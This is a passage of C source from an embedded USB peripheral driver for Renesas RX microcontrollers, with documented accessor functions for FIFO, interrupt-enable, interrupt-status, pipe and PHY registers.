usb_creg_get_fifoctr_adr\nDescription : Returns the *address* of the FIFOCTR register corresponding to \n : specified PIPEMODE.\n : (FIFO Port Control Register.)\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipemode : CUSE/D0DMA/D1DMA.\nReturn value : none\n******************************************************************************/\nstatic void *usb_creg_get_fifoctr_adr( USB_UTR_t *ptr, uint16_t pipemode )\n{\n void *reg_p;\n\n switch( pipemode )\n {\n case USB_CUSE:\n reg_p = (void *)&(ptr->ipp->CFIFOCTR);\n break;\n case USB_D0USE:\n#ifdef USB_DTC_ENABLE\n case USB_D0DMA:\n#endif /* USB_DTC_ENABLE */\n reg_p = (void *)&(ptr->ipp->D0FIFOCTR);\n break;\n case USB_D1USE:\n#ifdef USB_DTC_ENABLE\n case USB_D1DMA:\n#endif /* USB_DTC_ENABLE */\n reg_p = (void *)&(ptr->ipp->D1FIFOCTR);\n break;\n default:\n USB_DEBUG_HOOK( USB_DEBUG_HOOK_STD | USB_DEBUG_HOOK_CODE13 );\n break;\n }\n return reg_p;\n} /* eof usb_creg_get_fifoctr_adr() */\n\n/******************************************************************************\nFunction Name : usb_creg_read_fifoctr\nDescription : Returns the value of the FIFOCTR register corresponding to \n : specified PIPEMODE.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipemode : CUSE/D0DMA/D1DMA.\nReturn value : FIFOCTR content\n******************************************************************************/\nuint16_t usb_creg_read_fifoctr( USB_UTR_t *ptr, uint16_t pipemode )\n{\n volatile uint16_t *reg_p;\n\n reg_p = (uint16_t *)usb_creg_get_fifoctr_adr( ptr, pipemode );\n\n return *reg_p;\n} /* eof usb_creg_read_fifoctr() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_bval\nDescription : Set BVAL (Buffer Memory Valid Flag) to the number given; in \n : the FIFOCTR corresponding to the specified PIPEMODE.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipemode : CUSE/D0DMA/D1DMA.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_bval( USB_UTR_t *ptr, uint16_t pipemode )\n{\n volatile uint16_t *reg_p;\n\n reg_p = (uint16_t *)usb_creg_get_fifoctr_adr( ptr, pipemode );\n\n *reg_p |= USB_BVAL;\n} /* eof usb_creg_set_bval() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_bclr\nDescription : Set BCLR (CPU Buffer Clear) to the number given; in the \n : FIFOCTR corresponding to the specified PIPEMODE.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipemode : CUSE/D0DMA/D1DMA.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_bclr( USB_UTR_t *ptr, uint16_t pipemode )\n{\n volatile uint16_t *reg_p;\n\n reg_p = (uint16_t *)usb_creg_get_fifoctr_adr( ptr, pipemode );\n\n *reg_p = USB_BCLR;\n} /* eof usb_creg_set_bclr() */\n\n\n/*************/\n/* INTENB0 */\n/*************/\n/* Interrupt Enable Register 0 */\n\n/******************************************************************************\nFunction Name : usb_creg_read_intenb\nDescription : Returns INTENB0 register content.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : INTENB0 content\n******************************************************************************/\nuint16_t usb_creg_read_intenb( USB_UTR_t *ptr )\n{\n return ptr->ipp->INTENB0.WORD;\n} /* eof usb_creg_read_intenb() */\n\n/******************************************************************************\nFunction Name : usb_creg_write_intenb\nDescription : Data is written to INTENB register, \n : enabling/disabling the various USB interrupts.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_write_intenb( USB_UTR_t *ptr, uint16_t data )\n{\n ptr->ipp->INTENB0.WORD = data;\n} /* eof usb_creg_write_intenb() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_intenb\nDescription : Bit(s) to be set in INTENB register, \n : enabling the respective USB interrupt(s).\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data : Bit pattern: Respective interrupts with '1' \n : will be enabled.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_intenb( USB_UTR_t *ptr, uint16_t data )\n{\n ptr->ipp->INTENB0.WORD |= data;\n} /* eof usb_creg_set_intenb() */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_enb_vbse\nDescription : Clear the VBE-bit of INTENB register,\n : to prohibit VBUS interrupts.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_enb_vbse( USB_UTR_t *ptr )\n{\n ptr->ipp->INTENB0.WORD &= ~USB_VBSE;\n} /* eof usb_creg_clr_enb_vbse() */\n\n/******************************************************************************\nDescription : Clear the SOFE-bit of INTENB register,\n : to prohibit Frame Number Update interrupts.\nFunction Name : usb_creg_clr_enb_sofe\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_enb_sofe( USB_UTR_t *ptr )\n{\n ptr->ipp->INTENB0.WORD &= ~USB_SOFE;\n} /* eof usb_creg_clr_enb_sofe() */\n\n\n/*************/\n/* INTENB1 */\n/*************/\n\n/*************/\n/* BRDYENB */\n/*************/\n/* BRDY Interrupt Enable Register */\n\n/******************************************************************************\nFunction Name : usb_creg_read_brdyenb\nDescription : Returns BRDYENB register content.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : BRDYENB content\n******************************************************************************/\nuint16_t usb_creg_read_brdyenb( USB_UTR_t *ptr )\n{\n return ptr->ipp->BRDYENB.WORD;\n} /* eof usb_creg_read_brdyenb() */\n\n/******************************************************************************\nFunction Name : usb_creg_write_brdyenb\nDescription : Data is written to BRDYENB register, \n : enabling/disabling each respective pipe's BRDY interrupt. \n : (The BRDY interrupt indicates that a FIFO port is accessible.)\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_write_brdyenb( USB_UTR_t *ptr, uint16_t data )\n{\n ptr->ipp->BRDYENB.WORD = data;\n} /* eof usb_creg_write_brdyenb() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_brdyenb\nDescription : A bit is set in the specified pipe's BRDYENB, enabling the \n : respective pipe BRDY interrupt(s).\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipeno: Pipe number.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_brdyenb( USB_UTR_t *ptr, uint16_t pipeno )\n{\n ptr->ipp->BRDYENB.WORD |= (1 << pipeno);\n} /* eof usb_creg_set_brdyenb() */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_brdyenb\nDescription : Clear the PIPExBRDYE-bit of the specified pipe to prohibit \n : BRDY interrupts of that pipe.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipeno: Pipe number.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_brdyenb( USB_UTR_t *ptr, uint16_t pipeno )\n{\n ptr->ipp->BRDYENB.WORD &= ~(1 << pipeno);\n} /* eof usb_creg_clr_brdyenb() */\n\n\n/*************/\n/* NRDYENB */\n/*************/\n/* NRDY (not ready) Interrupt Enable Register */\n\n/******************************************************************************\nFunction Name : usb_creg_read_nrdyenb\nDescription : Returns NRDYENB register content. \n : (The NRDY interrupt indicates that more time is needed before \n : continuing data communication.)\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : NRDYENB content\n******************************************************************************/\nuint16_t usb_creg_read_nrdyenb( USB_UTR_t *ptr )\n{\n return ptr->ipp->NRDYENB.WORD;\n} /* eof usb_creg_read_nrdyenb() */\n\n/******************************************************************************\nFunction Name : usb_creg_write_nrdyenb\nDescription : Data is written to NRDYENB register, \n : enabling/disabling each respective pipe's NRDY interrupt\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_write_nrdyenb( USB_UTR_t *ptr, uint16_t data )\n{\n ptr->ipp->NRDYENB.WORD = data;\n} /* eof usb_creg_write_nrdyenb() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_nrdyenb\nDescription : A bit is set in the specified pipe's NRDYENB, enabling the \n : respective pipe NRDY interrupt(s).\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipeno: Pipe number.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_nrdyenb( USB_UTR_t *ptr, uint16_t pipeno )\n{\n ptr->ipp->NRDYENB.WORD |= (1 << pipeno);\n} /* eof usb_creg_set_nrdyenb() */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_nrdyenb\nDescription : Clear the PIPExNRDYE-bit of the specified pipe to prohibit \n : NRDY interrupts of that pipe.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipeno: Pipe number.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_nrdyenb(USB_UTR_t *ptr, uint16_t pipeno )\n{\n ptr->ipp->NRDYENB.WORD &= ~(1 << pipeno);\n} /* eof usb_creg_clr_nrdyenb() */\n\n\n/*************/\n/* BEMPENB */\n/*************/\n/* BEMP (buffer empty) Interrupt Enable Register */\n\n/******************************************************************************\nFunction Name : usb_creg_read_bempenb\nDescription : Returns BEMPENB register content.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : BEMPENB content\n******************************************************************************/\nuint16_t usb_creg_read_bempenb( USB_UTR_t *ptr )\n{\n return ptr->ipp->BEMPENB.WORD;\n} /* eof usb_creg_read_bempenb() */\n\n/******************************************************************************\nFunction Name : usb_creg_write_bempenb\nDescription : Data is written to BEMPENB register, \n : enabling/disabling each respective pipe's BEMP interrupt. \n : (The BEMP interrupt indicates that the USB buffer is empty, \n : and so the FIFO can now be written to.)\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_write_bempenb( USB_UTR_t *ptr, uint16_t data )\n{\n ptr->ipp->BEMPENB.WORD = data;\n} /* eof usb_creg_write_bempenb() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_bempenb\nDescription : A bit is set in the specified pipe's BEMPENB enabling the \n : respective pipe's BEMP interrupt(s).\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipeno: Pipe number.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_bempenb( USB_UTR_t *ptr, uint16_t pipeno )\n{\n ptr->ipp->BEMPENB.WORD |= (1 << pipeno);\n} /* eof usb_creg_set_bempenb() */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_bempenb\nDescription : Clear the PIPExBEMPE-bit of the specified pipe to prohibit \n : BEMP interrupts of that pipe.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipeno: Pipe number.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_bempenb( USB_UTR_t *ptr, uint16_t pipeno )\n{\n ptr->ipp->BEMPENB.WORD &= ~(1 << pipeno);\n} /* eof usb_creg_clr_bempenb() */\n\n\n/*************/\n/* SOFCFG */\n/*************/\n/* SOF (start of frame) Output Configuration Register */\n\n/******************************************************************************\nFunction Name : usb_creg_read_sofcfg\nDescription : Returns SOFCFG register content.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : SOFCFG content\n******************************************************************************/\nuint16_t usb_creg_read_sofcfg( USB_UTR_t *ptr )\n{\n return ptr->ipp->SOFCFG.WORD;\n} /* eof usb_creg_read_sofcfg() */\n\n#if defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M)\n/******************************************************************************\nFunction Name : usb_creg_set_sofcfg\nDescription : Set Bit pattern for SOFCFG\n : \nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data : The value to OR.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_sofcfg( USB_UTR_t *ptr, uint16_t data )\n{\n if(ptr->ip == USB_USBIP_1)\n {\n ptr->ipp1->SOFCFG.WORD |= data;\n }\n} /* eof usb_creg_set_sofcfg() */\n\n\n\n/*************/\n/* PHYSET */\n/*************/\n/* PHY Setting Register */\n\n/******************************************************************************\nFunction Name : usb_creg_write_clksel\nDescription : Set CLKSEL bits.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_write_clksel( USB_UTR_t *ptr )\n{\n ptr->ipp1->PHYSET.WORD |= USB_CLKSEL_24;\n} /* eof usb_creg_write_clksel() */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_pllreset\nDescription : Clear PLLRESET bits.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_pllreset( USB_UTR_t *ptr )\n{\n ptr->ipp1->PHYSET.WORD &= ~USB_PLLRESET;\n} /* eof usb_creg_clr_pllreset() */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_dirpd\nDescription : Clear DIRPD bits.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_dirpd( USB_UTR_t *ptr )\n{\n ptr->ipp1->PHYSET.WORD &= ~USB_DIRPD;\n} /* eof usb_creg_clr_dirpd() */\n\n\n/******************************************************************************\nFunction Name : usb_creg_clr_hseb\nDescription : Clear HSEB bits.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_hseb( USB_UTR_t *ptr )\n{\n ptr->ipp1->PHYSET.WORD &= ~USB_HSEB;\n} /* eof usb_creg_clr_hseb() */\n/******************************************************************************\nFunction Name : usb_creg_write_repsel\nDescription : Set REPSEL bits.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_write_repsel( USB_UTR_t *ptr )\n{\n ptr->ipp1->PHYSET.WORD &= ~USB_REPSEL;\n ptr->ipp1->PHYSET.WORD |= USB_REPSEL_16;\n} /* eof usb_creg_write_repsel() */\n#endif /* #if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M) */\n/*************/\n/* INTSTS0 */\n/*************/\n/* Interrupt Status Register 0 */\n\n/******************************************************************************\nFunction Name : usb_creg_read_intsts\nDescription : Returns INTSTS0 register content.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : INTSTS0 content\n******************************************************************************/\nuint16_t usb_creg_read_intsts( USB_UTR_t *ptr )\n{\n return ptr->ipp->INTSTS0.WORD;\n} /* eof usb_creg_read_intsts() */\n\n/******************************************************************************\nFunction Name : usb_creg_write_intsts\nDescription : Data is written to INTSTS0 register.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_write_intsts( USB_UTR_t *ptr, uint16_t data )\n{\n ptr->ipp->INTSTS0.WORD = data;\n} /* eof usb_creg_write_intsts() */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_sts_vbint\nDescription : Clear the the VBINT status bit to clear its the VBUS inter-\n : rupt status.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_sts_vbint( USB_UTR_t *ptr )\n{\n ptr->ipp->INTSTS0.WORD = (uint16_t)~USB_VBINT;\n} /* eof usb_creg_clr_sts_vbint() */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_sts_sofr\nDescription : Clear the SOFR-bit (Frame Number Refresh Interrupt Status) of \n : the clear SOF interrupt status.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_sts_sofr( USB_UTR_t *ptr )\n{\n ptr->ipp->INTSTS0.WORD = (uint16_t)~USB_SOFR;\n} /* eof usb_creg_clr_sts_sofr() */\n\n\n/*************/\n/* INTSTS1 */\n/*************/\n/* Interrupt Status Register 1 */\n\n\n/************/\n/* BRDYSTS */\n/************/\n/* BRDY (buffer ready) Interrupt Status Register */\n\n/******************************************************************************\nFunction Name : usb_creg_read_brdysts\nDescription : Returns BRDYSTS register content.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : BRDYSTS content\n******************************************************************************/\nuint16_t usb_creg_read_brdysts( USB_UTR_t *ptr )\n{\n return ptr->ipp->BRDYSTS.WORD;\n} /* eof usb_creg_read_brdysts() */\n\n/******************************************************************************\nFunction Name : usb_creg_write_brdysts\nDescription : Data is written to BRDYSTS register, to set the BRDY interrupt status.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_write_brdysts( USB_UTR_t *ptr, uint16_t data )\n{\n ptr->ipp->BRDYSTS.WORD = data;\n} /* eof usb_creg_write_brdysts() */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_sts_brdy\nDescription : Clear the PIPExBRDY status bit of the specified pipe to clear \n : its BRDY interrupt status.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipeno: Pipe number.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_sts_brdy( USB_UTR_t *ptr, uint16_t pipeno )\n{\n ptr->ipp->BRDYSTS.WORD = (uint16_t)~(1 << pipeno);\n} /* eof usb_creg_clr_sts_brdy() */\n\n\n/************/\n/* NRDYSTS */\n/************/\n/* NRDY (not ready) Interrupt Status Register */\n/******************************************************************************\nFunction Name : usb_creg_read_brdysts\nDescription : Returns NRDYSTS register content.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : NRDYSTS content\n******************************************************************************/\nuint16_t usb_creg_read_nrdysts( USB_UTR_t *ptr )\n{\n return (uint16_t)ptr->ipp->NRDYSTS.WORD;\n} /* eof usb_creg_read_brdysts() */\n\n/******************************************************************************\nFunction Name : usb_creg_write_nrdysts\nDescription : Data is written to NRDYSTS register, to\n : set the NRDY interrupt status.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_write_nrdysts( USB_UTR_t *ptr, uint16_t data )\n{\n ptr->ipp->NRDYSTS.WORD = data;\n} /* eof usb_creg_write_nrdysts() */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_sts_nrdy\nDescription : Clear the PIPExNRDY status bit of the specified pipe to clear \n : its NRDY interrupt status.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipeno: Pipe number.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_sts_nrdy( USB_UTR_t *ptr, uint16_t pipeno )\n{\n ptr->ipp->NRDYSTS.WORD = (uint16_t)~(1 << pipeno);\n} /* eof usb_creg_clr_sts_nrdy() */\n\n\n/************/\n/* BEMPSTS */\n/************/\n/* BEMP Interrupt Status Register */\n\n/******************************************************************************\nFunction Name : usb_creg_read_bempsts\nDescription : Returns BEMPSTS register content.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : BEMPSTS content\n******************************************************************************/\nuint16_t usb_creg_read_bempsts( USB_UTR_t *ptr )\n{\n return (uint16_t)ptr->ipp->BEMPSTS.WORD;\n} /* eof usb_creg_read_bempsts() */\n\n/******************************************************************************\nFunction Name : usb_creg_write_bempsts\nDescription : Data is written to BEMPSTS register, to set the BEMP interrupt status.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_write_bempsts( USB_UTR_t *ptr, uint16_t data )\n{\n ptr->ipp->BEMPSTS.WORD = data;\n} /* eof usb_creg_write_bempsts() */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_sts_bemp\nDescription : Clear the PIPExBEMP status bit of the specified pipe to clear \n : its BEMP interrupt status.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipeno: Pipe number.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_sts_bemp( USB_UTR_t *ptr, uint16_t pipeno )\n{\n ptr->ipp->BEMPSTS.WORD = (uint16_t)~(1 << pipeno);\n} /* eof usb_creg_clr_sts_bemp() */\n\n\n/************/\n/* FRMNUM */\n/************/\n/* Frame Number Register */\n\n/******************************************************************************\nFunction Name : usb_creg_read_frmnum\nDescription : Returns FRMNUM register content.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : FRMNUM content\n******************************************************************************/\nuint16_t usb_creg_read_frmnum( USB_UTR_t *ptr )\n{\n return (uint16_t)ptr->ipp->FRMNUM.WORD;\n} /* eof usb_creg_read_frmnum() */\n\n\n/************/\n/* USBADDR */\n/************/\n/* USB Address Register */\n\n/******************************************************************************\nFunction Name : usb_creg_read_usbaddr\nDescription : Returns USBADDR register content.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : USBADDR content\n******************************************************************************/\nuint16_t usb_creg_read_usbaddr( USB_UTR_t *ptr )\n{\n return (uint16_t)ptr->ipp->USBADDR.WORD;\n} /* eof usb_creg_read_usbaddr() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_stsrecov\nDescription : STSRECOV-bits are set in USBADDR register\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data : Value to be set.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_stsrecov( USB_UTR_t *ptr, uint16_t data )\n{\n ptr->ipp->USBADDR.BIT.STSRECOV = data;\n} /* eof usb_creg_set_stsrecov() */\n\n\n/************/\n/* USBREQ */\n/************/\n/* USB Request Type Register (bRequest and bmRequestType) */\n\n/******************************************************************************\nFunction Name : usb_creg_read_usbreq\nDescription : Returns USBREQ register content.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : USBREQ content\n******************************************************************************/\nuint16_t usb_creg_read_usbreq( USB_UTR_t *ptr )\n{\n return (uint16_t)ptr->ipp->USBREQ.WORD;\n} /* eof usb_creg_read_usbreq() */\n\n\n/************/\n/* USBVAL */\n/************/\n/* USB Request Value Register (wValue) */\n\n/******************************************************************************\nFunction Name : usb_creg_read_usbval\nDescription : Returns USBVAL register content.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : USBVAL content\n******************************************************************************/\nuint16_t usb_creg_read_usbval( USB_UTR_t *ptr )\n{\n return (uint16_t)ptr->ipp->USBVAL;\n} /* eof usb_creg_read_usbval() */\n\n\n/************/\n/* USBINDX */\n/************/\n/* USB Request Index Register (wIndex) */\n\n/******************************************************************************\nFunction Name : usb_creg_read_usbindx\nDescription : Returns USBINDX register content.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : USBINDX content\n******************************************************************************/\nuint16_t usb_creg_read_usbindx( USB_UTR_t *ptr )\n{\n return (uint16_t)ptr->ipp->USBINDX;\n} /* eof usb_creg_read_usbindx() */\n\n\n/************/\n/* USBLENG */\n/************/\n/* USB Request Length Register (wLength) */\n\n/******************************************************************************\nFunction Name : usb_creg_read_usbleng\nDescription : Returns USBLENG register content.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : USBLENG content\n******************************************************************************/\nuint16_t usb_creg_read_usbleng( USB_UTR_t *ptr )\n{\n return (uint16_t)ptr->ipp->USBLENG;\n} /* eof usb_creg_read_usbleng() */\n\n\n/************/\n/* DCPCFG */\n/************/\n/* DCP Configuration Register */\n\n/******************************************************************************\nFunction Name : usb_creg_read_dcpcfg\nDescription : Returns DCPCFG register content.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : DCPCFG content\n******************************************************************************/\nuint16_t usb_creg_read_dcpcfg( USB_UTR_t *ptr )\n{\n return (uint16_t)ptr->ipp->DCPCFG.WORD;\n} /* eof usb_creg_read_dcpcfg() */\n\n/******************************************************************************\nFunction Name : usb_creg_write_dcpcfg\nDescription : Specified data is written to DCPCFG register.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data\nReturn value : none\n******************************************************************************/\nvoid usb_creg_write_dcpcfg( USB_UTR_t *ptr, uint16_t data )\n{\n ptr->ipp->DCPCFG.WORD = data;\n} /* eof usb_creg_write_dcpcfg()*/\n\n/******************************************************************************\nFunction Name : usb_creg_set_dcpshtnak\nDescription : SHTNAK-bit in the DCPCFG register is set.\n : = Pipe disabled at end of transfer.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_dcpshtnak( USB_UTR_t *ptr )\n{\n ptr->ipp->DCPCFG.WORD |= USB_SHTNAKON;\n} /* eof usb_creg_set_dcpshtnak() */\n\n\n/************/\n/* DCPMAXP */\n/************/\n/* DCP Maximum Packet Size Register */\n\n/******************************************************************************\nFunction Name : usb_creg_read_dcpmaxp\nDescription : Returns DCPMAXP register content.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : DCPMAXP content\n******************************************************************************/\nuint16_t usb_creg_read_dcpmaxp( USB_UTR_t *ptr )\n{\n return (uint16_t)ptr->ipp->DCPMAXP.WORD;\n} /* eof usb_creg_read_dcpmaxp() */\n\n/******************************************************************************\nFunction Name : usb_creg_write_dcpmxps\nDescription : Specified data is written to DCPMAXP register.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_write_dcpmxps( USB_UTR_t *ptr, uint16_t data )\n{\n ptr->ipp->DCPMAXP.WORD = data;\n} /* eof usb_creg_write_dcpmxps() */\n\n\n/************/\n/* DCPCTR */\n/************/\n/* DCP Control Register */\n\n/******************************************************************************\nFunction Name : usb_creg_read_dcpctr\nDescription : Returns DCPCTR register content.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : DCPCTR content\n******************************************************************************/\nuint16_t usb_creg_read_dcpctr( USB_UTR_t *ptr )\n{\n return (uint16_t)ptr->ipp->DCPCTR.WORD;\n} /* eof usb_creg_read_dcpctr() */\n\n\n/************/\n/* PIPESEL */\n/************/\n/* Pipe Window Select Register */\n/******************************************************************************\nFunction Name : usb_creg_read_pipesel\nDescription : Returns PIPESEL register content.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : PIPESEL content\n******************************************************************************/\nuint16_t usb_creg_read_pipesel( USB_UTR_t *ptr )\n{\n return (uint16_t)ptr->ipp->PIPESEL.WORD;\n} /* eof usb_creg_read_pipesel() */\n\n/******************************************************************************\nFunction Name : usb_creg_write_pipesel\nDescription : Specified data is written to PIPESEL register.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_write_pipesel( USB_UTR_t *ptr, uint16_t data )\n{\n ptr->ipp->PIPESEL.WORD = data;\n} /* eof usb_creg_write_pipesel() */\n\n\n/************/\n/* PIPECFG */\n/************/\n/* Pipe Configuration Register */\n\n/******************************************************************************\nFunction Name : usb_creg_read_pipecfg\nDescription : Returns PIPECFG register content.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : PIPECFG content\n******************************************************************************/\nuint16_t usb_creg_read_pipecfg( USB_UTR_t *ptr )\n{\n return (uint16_t)ptr->ipp->PIPECFG.WORD;\n} /* eof usb_creg_read_pipecfg() */\n\n/******************************************************************************\nFunction Name : usb_creg_write_pipecfg\nDescription : Specified data is written to PIPECFG register.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_write_pipecfg( USB_UTR_t *ptr, uint16_t data )\n{\n ptr->ipp->PIPECFG.WORD = data;\n} /* eof usb_creg_write_pipecfg() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_type\nDescription : Specified Transfer Type is set in PIPECFG register.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data : BULK/INT/ISO\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_type( USB_UTR_t *ptr, uint16_t data )\n{\n ptr->ipp->PIPECFG.WORD &= (uint16_t)~USB_TYPE;\n ptr->ipp->PIPECFG.WORD |= (data << USB_TYPE_NUM_SHIFT);\n} /* eof usb_creg_set_type() */\n\n/************/\n/* PIPEBUF */\n/************/\n/* - */\n\n/******************************************************************************\nFunction Name : usb_creg_write_pipebuf\nDescription : Specified the value by 2nd argument is set to PIPEBUF register.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_write_pipebuf( USB_UTR_t *ptr, uint16_t data )\n{\n#if defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M)\n if(ptr->ip == USB_USBIP_1)\n {\n ptr->ipp1->PIPEBUF.WORD = data;\n }\n#endif /* #if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M) */\n} /* eof usb_creg_write_pipebuf() */\n\n#if defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M)\n/******************************************************************************\nFunction Name : usb_creg_read_pipebuf\nDescription : Returns PIPECFG register content.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : PIPEBUF content\n******************************************************************************/\nuint16_t 